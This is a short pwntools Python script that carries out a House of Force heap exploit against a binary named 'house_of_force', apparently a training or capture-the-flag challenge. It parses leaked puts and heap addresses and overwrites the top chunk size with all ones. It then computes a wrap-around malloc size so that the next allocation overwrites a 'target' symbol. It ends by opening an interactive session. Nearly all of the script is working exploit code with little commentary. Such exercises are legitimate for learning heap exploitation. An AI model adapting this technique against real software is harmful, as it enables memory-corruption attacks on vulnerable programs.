#!/usr/bin/python3
from pwn import *
context.log_level = "DEBUG"
elf = context.binary = ELF("house_of_force")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")


io = start()
io.recvuntil('puts() @ ')
puts=int(io.recvline(),16)
info(f"PUTS -> {hex(puts)}")
io.recvuntil('heap @ ')
heap=int(io.recvline(),16)
info(f"HEAP -> {hex(heap)}")
d=((0xffffffffffffffff-heap)+elf.symbols.target-0x40)
info(f"DELTA -> {d}")
# d=24
malloc('24',b'A'*24+p64(0xffffffffffffffff))
malloc(d,b'J')
malloc(24,b'Pauned :D')
io.send('2')
io.interactive()
